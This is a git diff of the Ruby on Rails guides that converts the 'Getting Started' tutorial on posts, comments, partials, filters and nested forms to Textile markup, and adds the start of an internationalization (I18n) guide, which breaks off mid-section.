 When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def show
   @post = Post.find(params[:id])
 
@@ -632,12 +624,11 @@ def show
     format.xml  { render :xml => @post }
   end
 end
--------------------------------------------------------
+</ruby>
 
 The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <p>
   <b>Name:</b>
   <%=h @post.name %>
@@ -656,23 +647,21 @@ The +show+ action uses +Post.find+ to search for a single record in the database
 
 <%= link_to 'Edit', edit_post_path(@post) %> |
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
 
-=== Editing Posts
+h4. Editing Posts
 
 Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def edit
   @post = Post.find(params[:id])
 end
--------------------------------------------------------
+</ruby>
 
 After finding the requested post, Rails uses the +edit.html.erb+ view to display it:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>Editing post</h1>
 
 <% form_for(@post) do |f| %>
@@ -697,12 +686,11 @@ After finding the requested post, Rails uses the +edit.html.erb+ view to display
 
 <%= link_to 'Show', @post %> |
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
 
 Submitting the form created by this view will invoke the +update+ action within the controller:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def update
   @post = Post.find(params[:id])
 
@@ -713,22 +701,22 @@ def update
       format.xml  { head :ok }
     else
       format.html { render :action => "edit" }
-      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+      format.xml  { render :xml => @post.errors,
+	                :status => :unprocessable_entity }
     end
   end
 end
--------------------------------------------------------
+</ruby>
 
 In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to +edit+ to correct them.
 
-NOTE: Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
+NOTE. Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
 
-=== Destroying a Post
+h4. Destroying a Post
 
 Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def destroy
   @post = Post.find(params[:id])
   @post.destroy
@@ -738,45 +726,42 @@ def destroy
     format.xml  { head :ok }
   end
 end
--------------------------------------------------------
+</ruby>
 
 The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.
 
-== DRYing up the Code
+h3. DRYing up the Code
 
 At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use _partials_ to clean up duplication in views and _filters_ to help with duplication in controllers.
 
-=== Using Partials to Eliminate View Duplication
+h4. Using Partials to Eliminate View Duplication
 
-As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a +partial+ template. This requires editing the new and edit views, and adding a new template:
+As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new +_form.html.erb+ template should be saved in the same +app/views/posts+ folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that's the Rails naming convention for partial templates.
 
-+new.html.erb+:
+<tt>new.html.erb</tt>:
 
-[source, ruby]
--------------------------------------------------------
+<html>
 <h1>New post</h1>
 
 <%= render :partial => "form" %>
 
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</html>
 
-+edit.html.erb+:
+<tt>edit.html.erb</tt>:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>Editing post</h1>
 
 <%= render :partial => "form" %>
 
 <%= link_to 'Show', @post %> |
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
 
-+_form.html.erb+:
+<tt>_form.html.erb</tt>:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <% form_for(@post) do |f| %>
   <%= f.error_messages %>
 
@@ -796,23 +781,22 @@ As you saw earlier, the scaffold-generated views for the +new+ and +edit+ action
     <%= f.submit "Save" %>
   </p>
 <% end %>
--------------------------------------------------------
+</erb>
 
 Now, when Rails renders the +new+ or +edit+ view, it will insert the +_form+ partial at the indicated point. Note the naming convention for partials: if you refer to a partial named +form+ inside of a view, the corresponding file is +_form.html.erb+, with a leading underscore.
 
-For more information on partials, refer to the link:../layouts_and_rendering.html[Layouts and Rending in Rails] guide.
+For more information on partials, refer to the "Layouts and Rending in Rails":layouts_and_rendering.html guide.
 
-=== Using Filters to Eliminate Controller Duplication
+h4. Using Filters to Eliminate Controller Duplication
 
 At this point, if you look at the controller for posts, you’ll see some duplication:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class PostsController < ApplicationController
   # ...
   def show
     @post = Post.find(params[:id])
-	# ... 
+  # ...
   end
 
   def edit
@@ -829,17 +813,17 @@ class PostsController < ApplicationController
     # ...
   end
 end
--------------------------------------------------------
+</ruby>
 
 Four instances of the exact same line of code doesn’t seem very DRY. Rails provides _filters_ as a way to address this sort of repeated code. In this case, you can DRY things up by using a +before_filter+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class PostsController < ApplicationController
-  before_filter :find_post, :only => [:show, :edit, :update, :destroy]
+  before_filter :find_post,
+    :only => [:show, :edit, :update, :destroy]
   # ...
   def show
-	# ... 
+  # ...
   end
 
   def edit
@@ -858,46 +842,44 @@ class PostsController < ApplicationController
       @post = Post.find(params[:id])
     end
 end
--------------------------------------------------------
+</ruby>
 
 Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.
 
-For more information on filters, see the link:actioncontroller_basics.html[Action Controller Basics] guide.
+For more information on filters, see the "Action Controller Overview":action_controller_overview.html guide.
 
-== Adding a Second Model
+h3. Adding a Second Model
 
 Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.
 
-=== Generating a Model 
+h4. Generating a Model
 
 Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:
 
-[source, shell]
--------------------------------------------------------
-$ script/generate model Comment commenter:string body:text post:references
--------------------------------------------------------
+<shell>
+$ script/generate model Comment commenter:string body:text
+    post:references
+</shell>
 
 This command will generate four files:
 
 * +app/models/comment.rb+ - The model
-* +db/migrate/20081013214407_create_comments.rb - The migration
+* +db/migrate/20091013214407_create_comments.rb+ - The migration
 * +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
 
 First, take a look at +comment.rb+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Comment < ActiveRecord::Base
   belongs_to :post
 end
--------------------------------------------------------
+</ruby>
 
 This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide.
 
 In addition to the model, Rails has also made a migration to create the corresponding database table:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CreateComments < ActiveRecord::Migration
   def self.up
     create_table :comments do |t|
@@ -913,18 +895,17 @@ class CreateComments < ActiveRecord::Migration
     drop_table :comments
   end
 end
--------------------------------------------------------
+</ruby>
 
 The +t.references+ line sets up a foreign key column for the association between the two models. Go ahead and run the migration:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ rake db:migrate
--------------------------------------------------------
+</shell>
 
-Rails is smart enough to only execute the migrations that have not already been run against this particular database.
+Rails is smart enough to only execute the migrations that have not already been run against the current database.
 
-=== Associating Models
+h4. Associating Models
 
 Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:
 
@@ -933,51 +914,45 @@ Active Record associations let you easily declare the relationship between two m
 
 In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Comment < ActiveRecord::Base
   belongs_to :post
 end
--------------------------------------------------------
+</ruby>
 
 You'll need to edit the +post.rb+ file to add the other side of the association:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Post < ActiveRecord::Base
   validates_presence_of :name, :title
   validates_length_of :title, :minimum => 5
   has_many :comments
 end
--------------------------------------------------------
+</ruby>
 
 These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+.
 
-TIP: For more information on Active Record associations, see the link:../association_basics.html[Active Record Associations] guide.
+TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide.
 
-=== Adding a Route
+h4. Adding a Route
 
-_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+. Then edit it as follows:
+_Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+ (it will be right at the top of the file). Then edit it as follows:
 
-[source, ruby]
--------------------------------------------------------
-map.resources :posts do |post|
-  post.resources :comments
-end
--------------------------------------------------------
+<ruby>
+map.resources :posts, :has_many => :comments
+</ruby>
 
 This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments.
 
-TIP: For more information on routing, see the link:../routing_outside_in[Rails Routing from the Outside In] guide.
+TIP: For more information on routing, see the "Rails Routing from the Outside In":routing_outside_in.html guide.
 
-=== Generating a Controller
+h4. Generating a Controller
 
 With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ script/generate controller Comments index show new edit
--------------------------------------------------------
+</shell>
 
 This creates seven files:
 
@@ -989,10 +964,9 @@ This creates seven files:
 * +app/views/comments/edit.html.erb+ - The view for the edit action
 * +test/functional/comments_controller_test.rb+ - The functional tests for the controller
 
-The controller will be generated with empty methods for each action that you specified in the call to +script/generate controller+:
+The controller will be generated with empty methods and views for each action that you specified in the call to +script/generate controller+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CommentsController < ApplicationController
   def index
   end
@@ -1007,12 +981,11 @@ class CommentsController < ApplicationController
   end
 
 end
--------------------------------------------------------
+</ruby>
 
 You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CommentsController < ApplicationController
   def index
     @post = Post.find(params[:post_id])
@@ -1021,7 +994,7 @@ class CommentsController < ApplicationController
 
   def show
     @post = Post.find(params[:post_id])
-    @comment = Comment.find(params[:id])
+    @comment = @post.comments.find(params[:id])
   end
 
   def new
@@ -1033,49 +1006,58 @@ class CommentsController < ApplicationController
     @post = Post.find(params[:post_id])
     @comment = @post.comments.build(params[:comment])
     if @comment.save
-      redirect_to post_comment_path(@post, @comment)
+      redirect_to post_comment_url(@post, @comment)
     else
       render :action => "new"
     end
   end
-  
+
   def edit
     @post = Post.find(params[:post_id])
-    @comment = Comment.find(params[:id])
+    @comment = @post.comments.find(params[:id])
   end
 
   def update
     @post = Post.find(params[:post_id])
     @comment = Comment.find(params[:id])
     if @comment.update_attributes(params[:comment])
-      redirect_to post_comment_path(@post, @comment)
+      redirect_to post_comment_url(@post, @comment)
     else
       render :action => "edit"
     end
   end
-  
+
+  def destroy
+    @post = Post.find(params[:post_id])
+    @comment = Comment.find(params[:id])
+    @comment.destroy
+
+    respond_to do |format|
+      format.html { redirect_to post_comments_path(@post) }
+      format.xml  { head :ok }
+    end
+  end
+
 end
--------------------------------------------------------
+</ruby>
 
 You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.
 
 In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @comment = @post.comments.build
--------------------------------------------------------
+</ruby>
 
 This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation.
 
-=== Building Views
+h4. Building Views
 
 Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
 
-The +index.html.erb+ view:
+The +views/comments/index.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>Comments for <%= @post.title %></h1>
 
 <table>
@@ -1089,8 +1071,13 @@ The +index.html.erb+ view:
     <td><%=h comment.commenter %></td>
     <td><%=h comment.body %></td>
     <td><%= link_to 'Show', post_comment_path(@post, comment) %></td>
-    <td><%= link_to 'Edit', edit_post_comment_path(@post, comment) %></td>
-    <td><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm => 'Are you sure?', :method => :delete %></td>
+    <td>
+        <%= link_to 'Edit', edit_post_comment_path(@post, comment) %>
+    </td>
+    <td>
+        <%= link_to 'Destroy', post_comment_path(@post, comment),
+            :confirm => 'Are you sure?', :method => :delete %>
+    </td>
   </tr>
 <% end %>
 </table>
@@ -1099,12 +1086,11 @@ The +index.html.erb+ view:
 
 <%= link_to 'New comment', new_post_comment_path(@post) %>
 <%= link_to 'Back to Post', @post %>
--------------------------------------------------------
+</erb>
 
-The +new.html.erb+ view:
+The +views/comments/new.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>New comment</h1>
 
 <% form_for([@post, @comment]) do |f| %>
@@ -1124,12 +1110,11 @@ The +new.html.erb+ view:
 <% end %>
 
 <%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
 
-The +show.html.erb+ view:
+The +views/comments/show.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>Comment on <%= @post.title %></h1>
 
 <p>
@@ -1144,12 +1129,11 @@ The +show.html.erb+ view:
 
 <%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> |
 <%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
 
-The +edit.html.erb+ view:
+The +views/comments/edit.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>Editing comment</h1>
 
 <% form_for([@post, @comment]) do |f| %>
@@ -1170,16 +1154,15 @@ The +edit.html.erb+ view:
 
 <%= link_to 'Show', post_comment_path(@post, @comment) %> |
 <%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
 
-Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.
+Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time.
 
-=== Hooking Comments to Posts
+h4. Hooking Comments to Posts
 
-As a final step, I'll modify the +show.html.erb+ view for a post to show the comments on that post, and to allow managing those comments:
+As a next step, I'll modify the +views/posts/show.html.erb+ view to show the comments on that post, and to allow managing those comments:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <p>
   <b>Name:</b>
   <%=h @post.name %>
@@ -1197,60 +1180,118 @@ As a final step, I'll modify the +show.html.erb+ view for a post to show the com
 
 <h2>Comments</h2>
 <% @post.comments.each do |c| %>
-	<p>
-	  <b>Commenter:</b>
-	  <%=h c.commenter %>
-	</p>
+  <p>
+    <b>Commenter:</b>
+    <%=h c.commenter %>
+  </p>
 
-	<p>
-	  <b>Comment:</b>
-	  <%=h c.body %>
-	</p>
+  <p>
+    <b>Comment:</b>
+    <%=h c.body %>
+  </p>
 <% end %>
 
-<%= link_to 'Edit', edit_post_path(@post) %> |
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %> |
 <%= link_to 'Manage Comments', post_comments_path(@post) %>
--------------------------------------------------------
+</erb>
 
 Note that each post has its own individual comments collection, accessible as +@post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+.
 
-== What's Next?
+h3. Building a Multi-Model Form
+
+Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let's add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:
+
+<shell>
+$ script/generate model tag name:string post:references
+</shell>
+
+Run the migration to create the database table:
+
+<shell>
+$ rake db:migrate
+</shell>
+
+Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails that you intend to edit tags via posts:
+
+<ruby>
+class Post < ActiveRecord::Base
+  validates_presence_of :name, :title
+  validates_length_of :title, :minimum => 5
+  has_many :comments
+  has_many :tags
+
+  accepts_nested_attributes_for :tags, :allow_destroy => :true  ,
+    :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
+end
+</ruby>
+
+The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in.
+
+You'll also need to modify +views/posts/_form.html.erb+ to include the tags:
+
+<erb>
+<% @post.tags.build if @post.tags.empty? %>
+<% form_for(@post) do |post_form| %>
+  <%= post_form.error_messages %>
+
+  <p>
+    <%= post_form.label :name %><br />
+    <%= post_form.text_field :name %>
+  </p>
+  <p>
+    <%= post_form.label :title, "title" %><br />
+    <%= post_form.text_field :title %>
+  </p>
+  <p>
+    <%= post_form.label :content %><br />
+    <%= post_form.text_area :content %>
+  </p>
+  <h2>Tags</h2>
+  <% post_form.fields_for :tags do |tag_form| %>
+    <p>
+      <%= tag_form.label :name, 'Tag:' %>
+      <%= tag_form.text_field :name %>
+    </p>
+    <% unless tag_form.object.nil? || tag_form.object.new_record? %>
+      <p>
+        <%= tag_form.label :_delete, 'Remove:' %>
+        <%= tag_form.check_box :_delete %>
+      </p>
+    <% end %>
+  <% end %>
+
+  <p>
+    <%= post_form.submit "Save" %>
+  </p>
+<% end %>
+</erb>
+
+With these changes in place, you'll find that you can edit a post and its tags directly on the same view.
+
+NOTE. You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the "nested model sample application":http://github.com/alloy/complex-form-examples/tree/nested_attributes.
+
+h3. What's Next?
 
 Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:
 
-* The link:http://manuals.rubyonrails.org/[Ruby On Rails guides]
-* The link:http://groups.google.com/group/rubyonrails-talk[Ruby on Rails mailing list]
+* The "Ruby On Rails guides":http://guides.rubyonrails.org
+* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
 * The #rubyonrails channel on irc.freenode.net
-* The link:http://wiki.rubyonrails.org/rails[Rails wiki]
 
 Rails also comes with built-in help that you can generate using the rake command-line utility:
 
 * Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides.
 * Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation.
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2
 
+* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy
 * November 3, 2008: Formatting patch from Dave Rothlisberger
-* November 1, 2008: First approved version by link:../authors.html#mgunderloy[Mike Gunderloy]
-* October 16, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 13, 2008: First complete draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 12, 2008: More detail, rearrangement, editing by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy
+* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
 * September 8, 2008: initial version by James Miller (not yet approved for publication)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/vendor/rails/railties/guides/source/i18n.textile b/vendor/rails/railties/guides/source/i18n.textile
new file mode 100644
index 00000000..103ccb1c
--- /dev/null
+++ b/vendor/rails/railties/guides/source/i18n.textile
@@ -0,0 +1,912 @@
+h2. Rails Internationalization (I18n) API
+
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
+
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
+
+So, in the process of _internationalizing_ your Rails application you have to:
+
+* Ensure you have support for i18n
+* Tell Rails where to find locale dictionaries
+* Tell Rails how to set, preserve and switch locale
+
+In the process of _localizing_ your application you'll probably want to do following three things:
+
+* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc
+* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
+* Store the resulting dictionaries somewhere
+
+This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start.
+
+endprologue.
+
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
+
+h3. How I18n in Ruby on Rails Works
+
+Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
+
+* providing support for English and similar languages out of the box
+* making it easy to customize and extend everything for other languages
+
+As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
+
+h4. The Overall Architecture of the Library
+
+Thus, the Ruby I18n gem is split into two parts:
+
+* The public API of the i18n framework -- a Ruby module with public methods that define how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
+
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
+
+h4. The Public I18n API
+
+The most important methods of the I18n API are:
+
+<ruby>
+translate # Lookup text translations
+localize  # Localize Date and Time objects to local formats
+</ruby>
+
+These have the aliases #t and #l so you can use them like this:
+
+<ruby>
+I18n.t 'store.title'
+I18n.l Time.now
+</ruby>
+
+There are also attribute readers and writers for the following attributes:
+
+<ruby>
+load_path         # Announce your custom translation files
+locale            # Get and set the current locale
+default_locale    # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend           # Use a different backend
+</ruby>
+
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+h3. Setup the Rails Application for Internationalization
+
+There are just a few simple steps to get up and running with I18n support for your application.
+
+h4. Configure the I18n Module
+
+Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
+
+Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically.
+
+The default +en.yml+ locale in this directory contains a sample pair of translation strings:
+
+<ruby>
+en:
+  hello: "Hello world"
+</ruby>
+
+This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+
+The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
+
+NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish).  However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":http://github.com/joshmh/globalize2/tree/master may help you implement it.
+
+The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+
+NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+The default +environment.rb+ files has instruction how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+
+<ruby>
+# The internationalization framework can be changed
+# to have another default locale (standard is :en) or more load paths.
+# All files from config/locales/*.rb,yml are added automatically.
+# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
+# config.i18n.default_locale = :de
+</ruby>
+
+h4. Optional: Custom I18n Configuration Setup
+
+For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too.
+
+To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
+
+<ruby>
+# in config/initializer/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', 
+  '*.{rb,yml}') ]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+</ruby>
+
+h4. Setting and Passing the Locale
+
+If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +environment.rb+ or an initializer as shown above, and it will persist through the requests.
+
+However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
+
+WARNING: You may be tempted to store the chosen locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "_RESTful_":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below.
+
+The _setting part_ is easy. You can set the locale in a +before_filter+ in the ApplicationController like this:
+
+<ruby>
+before_filter :set_locale
+def set_locale
+  # if params[:locale] is nil then I18n.default_locale will be used
+  I18n.locale = params[:locale]
+end
+</ruby>
+
+This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
+
+Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
+
+IMPORTANT: The following examples rely on having available locales loaded into your application as an array of strings like +["en", "es", "gr"]+. This is not included in the current version of Rails 2.2 -- the forthcoming Rails version 2.3 will contain the easy accessor +available_locales+. (See "this commit":http://github.com/svenfuchs/i18n/commit/411f8fe7c8f3f89e9b6b921fa62ed66cb92f3af4 and background at "Rails I18n Wiki":http://rails-i18n.org/wiki/pages/i18n-available_locales.)
+
+So, for having available locales easily accessible in Rails 2.2, we have to include this support manually in an initializer, like this:
+
+<ruby>
+# config/initializers/available_locales.rb
+#
+# Get loaded locales conveniently
+# See http://rails-i18n.org/wiki/pages/i18n-available_locales
+module I18n
+  class << self
+    def available_locales; backend.available_locales; end
+  end
+  module Backend
+    class Simple
+      def available_locales; translations.keys.collect { |l| l.to_s }.sort; end
+    end
+  end
+end
+
+# You need to "force-initialize" loaded locales
